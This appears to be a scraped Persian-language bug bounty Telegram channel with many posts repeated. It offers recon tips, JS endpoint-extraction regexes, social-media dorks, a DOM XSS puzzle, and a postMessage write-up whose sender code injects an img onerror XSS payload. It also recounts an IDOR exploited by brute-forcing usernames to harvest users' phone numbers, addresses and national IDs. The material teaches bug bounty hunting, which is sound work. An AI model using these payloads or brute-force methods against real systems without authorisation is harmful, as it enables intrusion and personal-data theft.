برای بچهایی که manual کار میکنن zseano آدم درستیه برای دنبال کردن چون خودش هم اینجوریه که تایم زیادی رو تارگت ها میزاره و سعی میکنه یه فیچر رو بفهمه و اونقد رو اتومیشن نیست
فرق بین غرق شدن مفید ( productive rabbit hole ) و غرق شدن بی فایده ( unproductive rabbit hole ) چیه ؟
غرق شدن مفید (Productive rabbit hole): وقتی داری رو یه قسمتی دیپ میشی و درک خوبی به دست میاری و میدونی که میتونی به چیز های جدیدی دست پیدا کنی ( که میتونه یه باگ high-impact باشه و یا یه route ).
غرق شدن بیفایده (Unproductive rabbit hole): وقتی که فقط داری زمان میسوزونی بدون اینکه به چیزی برسی یا داری دنبال باگ های low-impact میگردی یا مسیرت به جایی ختم نمیشه (non-deterministic).
چجوری اینارو از هم تشخیص بدیم و تا درصد بالایی مطمعن بشیم که راهمون درسته ؟
1 - تا درصد خیلی زیادی به تجربه شما برمیگرده. شما وقتی ۱۰۰ تا فانکشن رو دیده باشید به ۱۰۱ امی که برسید میتونید متوجه بشید که آیا دیباگ کردن این فانکشن اصلا به درد میخوره یا نه ؟
2 - قبل از ادامه دادن بررسی کن آیا اصلا چیزی که قراره اینجا بهش برسم ارزشش رو داره یا نه ؟ (impact + clarity)
3 - اگه به چیزی برخوردی که فعلا به کارت نمیاد فقط نوت بردار تا بعدا برگردی بهش و بیشتر بررسیش کنی تا وسط هانت کردن کلا مسیرت عوض نشه.
خلاصه مطلب : هرجایی نیاز نیست که عمیق بشید یه سری چیزا فقط وقتتون رو میگیره که با مرور زمان و بیشتر شدن تجربه و مواردی که بالا گفتم میتونید تشخیص بدید که چی بدرد میخوره و چی بدرد نمیخوره.
غرق شدن مفید (Productive rabbit hole): وقتی داری رو یه قسمتی دیپ میشی و درک خوبی به دست میاری و میدونی که میتونی به چیز های جدیدی دست پیدا کنی ( که میتونه یه باگ high-impact باشه و یا یه route ).
غرق شدن بیفایده (Unproductive rabbit hole): وقتی که فقط داری زمان میسوزونی بدون اینکه به چیزی برسی یا داری دنبال باگ های low-impact میگردی یا مسیرت به جایی ختم نمیشه (non-deterministic).
چجوری اینارو از هم تشخیص بدیم و تا درصد بالایی مطمعن بشیم که راهمون درسته ؟
1 - تا درصد خیلی زیادی به تجربه شما برمیگرده. شما وقتی ۱۰۰ تا فانکشن رو دیده باشید به ۱۰۱ امی که برسید میتونید متوجه بشید که آیا دیباگ کردن این فانکشن اصلا به درد میخوره یا نه ؟
2 - قبل از ادامه دادن بررسی کن آیا اصلا چیزی که قراره اینجا بهش برسم ارزشش رو داره یا نه ؟ (impact + clarity)
3 - اگه به چیزی برخوردی که فعلا به کارت نمیاد فقط نوت بردار تا بعدا برگردی بهش و بیشتر بررسیش کنی تا وسط هانت کردن کلا مسیرت عوض نشه.
خلاصه مطلب : هرجایی نیاز نیست که عمیق بشید یه سری چیزا فقط وقتتون رو میگیره که با مرور زمان و بیشتر شدن تجربه و مواردی که بالا گفتم میتونید تشخیص بدید که چی بدرد میخوره و چی بدرد نمیخوره.
یه چند روزی هست که دارم Final-Collection-of-Advice از shreyaschavhan رو میخونم
چیز باحالی به چشمم خورد میزارم اینجا که شاید بدردتون بخوره
چیز باحالی به چشمم خورد میزارم اینجا که شاید بدردتون بخوره
توی این Notion، شریاس چاوهان (shreyaschavhan) کلی مصاحبه و پادکست از هانترها و ریسرچرها رو دیده و نکات مهمشون رو جمع کرده.متن یکم طولانیه، اما پر از تجربههای ارزشمنده پیشنهاد میکنم حتماً بخونید :
https://shreyaschavhan.notion.site/Final-Collection-of-Advice-1fba53e4311980e9aceefb94085f11d4
https://shreyaschavhan.notion.site/Final-Collection-of-Advice-1fba53e4311980e9aceefb94085f11d4
shreyaschavhan on Notion
Final Collection of Advice | Notion
'Hacker Wife' Mariah Gardner on Bug Bounty Mentality and Relationships (Ep. 87) :
امروز داشتم رو یه برنامه ای کار میکردم که وقتی user-Agent اندروید براش ست میکردی یه ui بالا میومد و اگه ویندوز بود یه ui و حتی برای ios هم یه ui جدا داشت. حالا با این اکستنشن میتونید کلی user-Agent مختلف برای مرورگرتون ست کنید.
Firefox : https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/
Chrome : https://chromewebstore.google.com/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg?hl=en-US
Firefox : https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/
Chrome : https://chromewebstore.google.com/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg?hl=en-US
این پلیلیست «Live Recon Sundays» از NahamSec فوقالعادست کلی مصاحبه و لایو هانت با هانترها و ریسرچرهای خفن داره.
لایو هانت هایی که با هانتر های مختلف انجام میده رو بهتون پیشنهاد میکنم.
https://www.youtube.com/playlist?list=PLKAaMVNxvLmAkqBkzFaOxqs3L66z2n8LA
لایو هانت هایی که با هانتر های مختلف انجام میده رو بهتون پیشنهاد میکنم.
https://www.youtube.com/playlist?list=PLKAaMVNxvLmAkqBkzFaOxqs3L66z2n8LA
Forwarded from Brut Security
Please open Telegram to view this post
VIEW IN TELEGRAM
چجوری از فایل های .js میتونیم به اندپوینت برسیم ؟
1 - استفاده از رجکس :
2 - پیدا کردن request های get و http Method های دیگه :
3 - پیدا کردن بر اساس یه سری کلمات کلیدی :
برای موارد بیشتر میتونید یه سر به این notion ای که ساختم بزنید :
https://snapdragon-copper-dd1.notion.site/Finding-Hidden-Endpoints-223a797be4c680889370c563ddb30f7a?source=copy_link
1 - استفاده از رجکس :
grep -Eo '("|\')(/[^"']+)("|\')' *.js | sort -u
2 - پیدا کردن request های get و http Method های دیگه :
fetch("
axios.get("
{ method: "POST" }3 - پیدا کردن بر اساس یه سری کلمات کلیدی :
API-related keywords like endpoint
url
request
fetch
ajax
GET
POST
XMLHttpRequest()
برای موارد بیشتر میتونید یه سر به این notion ای که ساختم بزنید :
https://snapdragon-copper-dd1.notion.site/Finding-Hidden-Endpoints-223a797be4c680889370c563ddb30f7a?source=copy_link
Bugbountyhints
این ماه هم تقریبا با ۲۲۰ ساعت کار تموم شد تمرکز اصلیم روی هانت کردن بود که دیگه شهریور بیشتر میرم سمت js و مدرن اپ ها
این ماه هم با ۱۳۹ ساعت کار تموم شد. اونجوری که باید پیش نرفت و کارای اداری و دیپلم دهنمون رو سرویس کرد
بریم که مهر ماه رو بترکونیم
بریم که مهر ماه رو بترکونیم
سورس مپ جاوااسکریپت چیه ؟
سورسمپهای جاوااسکریپت عملاً نقشهای از کدها قبل از obfuscation هستن. هر وقت سورسمپ رو داشته باشی کد فرانتاند خوانایی راحتی داره و دیباگکردنش خیلی سادهتر و سرراستتر میشه.
تو این سایت هم میتونید source map رو آپلود کنید تا براتون مرتب اش کنه :
https://evanw.github.io/source-map-visualization/
لینک هایی برای مطالعه بیشتر :
Article-1
Article-2
Article-3
سورسمپهای جاوااسکریپت عملاً نقشهای از کدها قبل از obfuscation هستن. هر وقت سورسمپ رو داشته باشی کد فرانتاند خوانایی راحتی داره و دیباگکردنش خیلی سادهتر و سرراستتر میشه.
تو این سایت هم میتونید source map رو آپلود کنید تا براتون مرتب اش کنه :
https://evanw.github.io/source-map-visualization/
لینک هایی برای مطالعه بیشتر :
Article-1
Article-2
Article-3
چجوری تو این کد میتونیم به Dom Xss برسیم ؟
بعد از اینکه تلاشتون رو کردید بشینید رایتاپش رو هم بخونید :
https://ysamm.com/2023/01/29/dom-xss-in-instant-games-due-to-improper-verification-of-supplied-urls.html
__d("goURIOnWindow", ["ConstUriUtils", "FBLogger", "err"], (function(a, b, c, d, e, f, g) {
"use strict";
function a(a, b) {
var e = typeof b === "string" ? d("ConstUriUtils").getUri(b) : b;
if (e)
a.location = e.toString();
else {
a = "Invalid URI " + b.toString() + " provided to goURIOnWindow";
c("FBLogger")("comet_infra").blameToPreviousFrame().mustfix(a)
}
}
g["default"] = a
}
), 98);بعد از اینکه تلاشتون رو کردید بشینید رایتاپش رو هم بخونید :
https://ysamm.com/2023/01/29/dom-xss-in-instant-games-due-to-improper-verification-of-supplied-urls.html
امروز داشتم یه ریپورتی در رابطه با postMessage میخوندم که دوست داشتم اینجا بازش کنم :
ما یه همچین listener ای رو داریم :
خب حالا مشکل این listener چیه ؟ توی این قسمت if (!i داره چک میکنه که اگه referrer خالی باشه این شرط پاس بشه و مشکلی نداره پس اگه referrer ما خالی باشه دیگه به شرط بعدی e.origin نمیرسه و نکته مهمی که اینجا هست اینه که توی postMessage هیچ هدر referrer ای ست نمیشه پس اگه من یه sender داشته باشم به راحتی میتونم به اینجا Message بفرستم.
پس کد sender ما میشه :
حالا تو ادامه اش هم اومده بود یه route دیگه پیدا کرده بود که اونجا xss میخورد :
ما یه همچین listener ای رو داریم :
Receiver: function (e) {
var n, r = this.get("replaceRoute"), i = this.get("referrer");
if (!i || e.origin === normalize(i)) {
try { n = JSON.parse(e.data); } catch (u) {}
// ...
}
}خب حالا مشکل این listener چیه ؟ توی این قسمت if (!i داره چک میکنه که اگه referrer خالی باشه این شرط پاس بشه و مشکلی نداره پس اگه referrer ما خالی باشه دیگه به شرط بعدی e.origin نمیرسه و نکته مهمی که اینجا هست اینه که توی postMessage هیچ هدر referrer ای ست نمیشه پس اگه من یه sender داشته باشم به راحتی میتونم به اینجا Message بفرستم.
پس کد sender ما میشه :
win = window.open("https://transact.victim.com/");
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "application_error",
model: { error: 500, noscript: "injected", message: "from attacker" }
}), "*");حالا تو ادامه اش هم اومده بود یه route دیگه پیدا کرده بود که اونجا xss میخورد :
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "voucher.multi-product-details",
model: {
eligible: true,
sku: {
id: 0, longDenoscription: `
<img src=x onerror='alert(document.domain)'>`
}
}
}), "*");A Hacker's Notebook Part II : Real Techniques from the World of Bug Bounty
https://snapdragon-copper-dd1.notion.site/A-Hacker-s-Notebook-Real-Techniques-from-the-World-of-Bug-Bounty-Part-II-28fa797be4c68046999af6b668a736a4?pvs=73
By: @bugbountyhints && GitBook_s.t.me
https://snapdragon-copper-dd1.notion.site/A-Hacker-s-Notebook-Real-Techniques-from-the-World-of-Bug-Bounty-Part-II-28fa797be4c68046999af6b668a736a4?pvs=73
By: @bugbountyhints && GitBook_s.t.me
snapdragon-copper-dd1 on Notion
A Hacker’s Notebook: Real Techniques from the World of Bug Bounty — Part II | Notion
Quick Summary
Bugbountyhints
A Hacker's Notebook Part II : Real Techniques from the World of Bug Bounty https://snapdragon-copper-dd1.notion.site/A-Hacker-s-Notebook-Real-Techniques-from-the-World-of-Bug-Bounty-Part-II-28fa797be4c68046999af6b668a736a4?pvs=73 By: @bugbountyhints && GitBook_s.t.me
تو این نوشن سعی کردیم نکات مفیدی رو از رایتاپ ها جمع کنیم و قرار بدیم
Bugbountyhints
این ماه هم با ۱۳۹ ساعت کار تموم شد. اونجوری که باید پیش نرفت و کارای اداری و دیپلم دهنمون رو سرویس کرد بریم که مهر ماه رو بترکونیم
این ماه هم تقریبا با ۲۱۹ ساعت کار تموم شد.
تمرکز اصلی ایم روی هانت، js و oauth بود که تونستم تا یه لولی بهترشون کنم
این ماه هم یکم دوست دارم رو قسمت غیر فنی داستان تمرکز کنم و البته oauth و js رو بهتر کنم
تمرکز اصلی ایم روی هانت، js و oauth بود که تونستم تا یه لولی بهترشون کنم
این ماه هم یکم دوست دارم رو قسمت غیر فنی داستان تمرکز کنم و البته oauth و js رو بهتر کنم
Forwarded from Hack Hive
https://medium.com/@horamah.71/static-code-analysis-and-the-role-of-ai-in-sast-3ac5d305daac
https://x.com/horamah_71/status/1985624183422746889?t=N4k77A7l30ZUHCp1RMcG5w&s=19
https://x.com/horamah_71/status/1985624183422746889?t=N4k77A7l30ZUHCp1RMcG5w&s=19
Medium
🔍Static Code Analysis and the Role of AI in SAST
Hey everyone! 👋 I’m @horamah.71, sharing my latest research, exploits, and security discoveries. Stay tuned for more deep dives!
Let’s…
Let’s…
Forwarded from BLACK MEMORIES 📂 (Black Folder)
* IDOR *
وقتی وارد سایت شدم، فقط یه فرم لاگین و یه صفحهی تماس داشت، هیچ چیز دیگهای نبود. جاوااسکریپت رو چک کردم، چیزی بالا نیومد. گوگل دورک زدم، بینتیجه. waybackurl و چند روش دیگه هم تست کردم، باز هیچی.
رفتم گیتهاب، دامین سایت رو اونجا سرچ کردم و یه API خاص پیدا کردم:
blackfolder.ir/api/userinfo/showUserDetails/jrodriguez75
وقتی بازش کردم، دیدم اطلاعات یه کاربر داره لو میره — شماره تلفن، آدرس، شناسه ملی و... .
گزارش رو برای هکروان فرستادم، گفتن ایمپکتش مدیوم چون برای اکسپلویت باید یوزرنیم رو بدونی.
آیدی رو با اعداد تست زدم (مثل 74، 76 و...) ولی جواب نداد، که بعدش به یه چیز فوق العاده جالب رسیدم :
یوزرنیم فعلی jrodriguez75 بود. وقتی عدد 75 رو پاک کردم، اطلاعات یه کاربر دیگه لود شد!
اینجا بود که متوجه شدم سایت یه پترن خاص برای ساخت یوزرنیمها داره. بر اساس حرف اول اسم + نام خانوادگی، و اگه تکراری باشه یه عدد (معمولاً سال تولد) به آخرش اضافه میکنه.
مثلاً اگه اسم “Black Folder” باشه و سال 65 متولد شده باشی، یوزرنیمت میشه bfolder65.
حالا چلنج این بود که چطوری نامخانوادگیهای مختلف رو پیدا کنم.
از AI خواستم برام یه اسکریپت درست کنه که ۱۰ تا نامخانوادگی محبوب آمریکایی تولید کنه، بعد با ترکیب حروف A تا Z برای بخش اسم، شروع کنه به بروتفورس یوزرنیمها.
اگه یه ریسپانس با کد 200 برمیگشت، اون یوزرنیم معتبر حساب میشد و بعد بخش عددیش (مثلاً سال تولد) رو از 1960 تا 1999 بروتفورس کردم. ✅
نتیجه چی شد؟ یه لیست از اطلاعات کاربران، شامل شماره تلفن، آدرس خونه، شناسه ملی و... بدست اومد و ارسال کردم برای هکروان و ایمپکت از مدیوم رفت به کریتیکال.
خلاصه ی ویدیو : NahamSec👤
وقتی وارد سایت شدم، فقط یه فرم لاگین و یه صفحهی تماس داشت، هیچ چیز دیگهای نبود. جاوااسکریپت رو چک کردم، چیزی بالا نیومد. گوگل دورک زدم، بینتیجه. waybackurl و چند روش دیگه هم تست کردم، باز هیچی.
رفتم گیتهاب، دامین سایت رو اونجا سرچ کردم و یه API خاص پیدا کردم:
blackfolder.ir/api/userinfo/showUserDetails/jrodriguez75
وقتی بازش کردم، دیدم اطلاعات یه کاربر داره لو میره — شماره تلفن، آدرس، شناسه ملی و... .
گزارش رو برای هکروان فرستادم، گفتن ایمپکتش مدیوم چون برای اکسپلویت باید یوزرنیم رو بدونی.
آیدی رو با اعداد تست زدم (مثل 74، 76 و...) ولی جواب نداد، که بعدش به یه چیز فوق العاده جالب رسیدم :
یوزرنیم فعلی jrodriguez75 بود. وقتی عدد 75 رو پاک کردم، اطلاعات یه کاربر دیگه لود شد!
اینجا بود که متوجه شدم سایت یه پترن خاص برای ساخت یوزرنیمها داره. بر اساس حرف اول اسم + نام خانوادگی، و اگه تکراری باشه یه عدد (معمولاً سال تولد) به آخرش اضافه میکنه.
مثلاً اگه اسم “Black Folder” باشه و سال 65 متولد شده باشی، یوزرنیمت میشه bfolder65.
حالا چلنج این بود که چطوری نامخانوادگیهای مختلف رو پیدا کنم.
از AI خواستم برام یه اسکریپت درست کنه که ۱۰ تا نامخانوادگی محبوب آمریکایی تولید کنه، بعد با ترکیب حروف A تا Z برای بخش اسم، شروع کنه به بروتفورس یوزرنیمها.
اگه یه ریسپانس با کد 200 برمیگشت، اون یوزرنیم معتبر حساب میشد و بعد بخش عددیش (مثلاً سال تولد) رو از 1960 تا 1999 بروتفورس کردم. ✅
نتیجه چی شد؟ یه لیست از اطلاعات کاربران، شامل شماره تلفن، آدرس خونه، شناسه ملی و... بدست اومد و ارسال کردم برای هکروان و ایمپکت از مدیوم رفت به کریتیکال.
خلاصه ی ویدیو : NahamSec👤
YouTube
This is How a Simple IDOR Earned Me a Max Bug Bounty Payout
LIKE and SUBSCRIBE with NOTIFICATIONS ON if you enjoyed the video! 👍
📚 If you want to learn bug bounty hunting from me: https://bugbounty.nahamsec.training
💻 If you want to practice some of my free labs and challenges: https://app.hackinghub.io
💵 FREE…
📚 If you want to learn bug bounty hunting from me: https://bugbounty.nahamsec.training
💻 If you want to practice some of my free labs and challenges: https://app.hackinghub.io
💵 FREE…
یکی از تکنیک هایی که تو ریکان استفاده میکنم، در آوردن ساب دامین از سوشال مدیا هستش که نتیجه خوبی هم ازش میگیرم
یه سری dork جنریت میکنم و دامین مورد نظر خودم رو توش میزارم، مثل :
site:x.com "domain.tld"
site:instagram.com "domain.tld"
site:linkedin.com "domain.tld"
site:reddit.com "domain.tld"
اینجوری به یه سری توییت یا پست قدیمی و جدید میرسم که راجع به سابدامینی کامنت گذاشتن و بعد میرم چک میکنم که بالا هستن یا نه.
یه سری dork جنریت میکنم و دامین مورد نظر خودم رو توش میزارم، مثل :
site:x.com "domain.tld"
site:instagram.com "domain.tld"
site:linkedin.com "domain.tld"
site:reddit.com "domain.tld"
اینجوری به یه سری توییت یا پست قدیمی و جدید میرسم که راجع به سابدامینی کامنت گذاشتن و بعد میرم چک میکنم که بالا هستن یا نه.
Bugbountyhints
این ماه هم تقریبا با ۲۱۹ ساعت کار تموم شد. تمرکز اصلی ایم روی هانت، js و oauth بود که تونستم تا یه لولی بهترشون کنم این ماه هم یکم دوست دارم رو قسمت غیر فنی داستان تمرکز کنم و البته oauth و js رو بهتر کنم
این ماه هم با ۱۴۶ ساعت کار تموم شد.
تایم کاری و هانتم نسبت به ماه قبل خیلی پایین اومد
ولی از نظر یادگیری ۲ برابر ماه پیش بوده
تایم کاری و هانتم نسبت به ماه قبل خیلی پایین اومد
ولی از نظر یادگیری ۲ برابر ماه پیش بوده